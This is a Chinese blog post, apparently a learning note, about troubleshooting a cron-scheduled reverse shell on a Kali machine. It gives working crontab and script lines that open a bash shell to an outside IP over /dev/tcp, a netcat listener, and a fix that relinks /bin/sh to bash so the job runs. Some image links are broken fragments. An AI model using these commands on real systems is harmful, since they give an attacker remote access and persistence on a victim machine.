最近在学习反弹shell时遇到定时任务反弹shell没有反应的问题
首先将受害机的shell修改为bash然后重启
usermod -s /bin/bash 用户名
再在受害机中添加定时任务(crontab -e)
*/1 * * * * /bin/bash -i>&/dev/tcp/47.xxx.xxx.72/2333 0>&1#每隔一分钟,向47.xxx.xxx.72的2333号端口发送shell
攻击机开启2333端口监听
netcat -lvvp 2333
可是死活就是连不上,看一看cron的状态:
%20info%20(No%20MTA%20installed,discarding%20output)/195612.png)
可以看到这边日志给出的错误信息是 No MTA installed,discarding output,查了一下以为是没有安装邮件系统的原因就安装了postfix,结果没有报错了但还是连不上shell
最后在https://blog.csdn.net/sdb5858874/article/details/81837440里看到了真正的原因以及解决方法:
kali系统默认会将计划任务的错误信息以邮件的方式发送给用户,但是由于kali系统默认没有安装邮件系统,所以真正的报错信息并不是No MTA installed,discarding output这句话
想看到真正的报错信息有两种解决办法:
1、由于我们刚才已经安装了邮件系统那么直接来/var/mail/用户名
文件中看一下报错邮件:
%20info%20(No%20MTA%20installed,discarding%20output)/201801.png)
2、将计划任务的错误信息输出到一个文件内
*/1 * * * * /bin/bash -i '>&/dev/tcp/47.xxx.xx.xxx/2333 0>&1' >/tmp/error.txt 2>&1
%20info%20(No%20MTA%20installed,discarding%20output)/203106.png)
这本质上不就是shell不是bash,但我们最开始已经把系统的shell换为bashl了啊
其实这里是linux里面的cron中command执行的shell环境是/bin/sh
有两种方法改变cron执行命令的shell
1、改系统sh软链接
在/bin目录下执行ls -l | grep -w “sh”:
%20info%20(No%20MTA%20installed,discarding%20output)/204913.png)
发现sh指向的其实是dash,直接修改
ln - s -f bash /bin/sh
成功反弹shell!
2、将反弹shell的语句写入脚本,然后crontab任务定时执行脚本
先建立一个脚本cronshell,并赋予执行权限
#!/bin/bash
/bin/bash -i >& /dev/tcp/xxx.xx.x.xx/2333 0>&1
然后修改计划任务*
%20info%20(No%20MTA%20installed,discarding%20output)/215527.png)
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。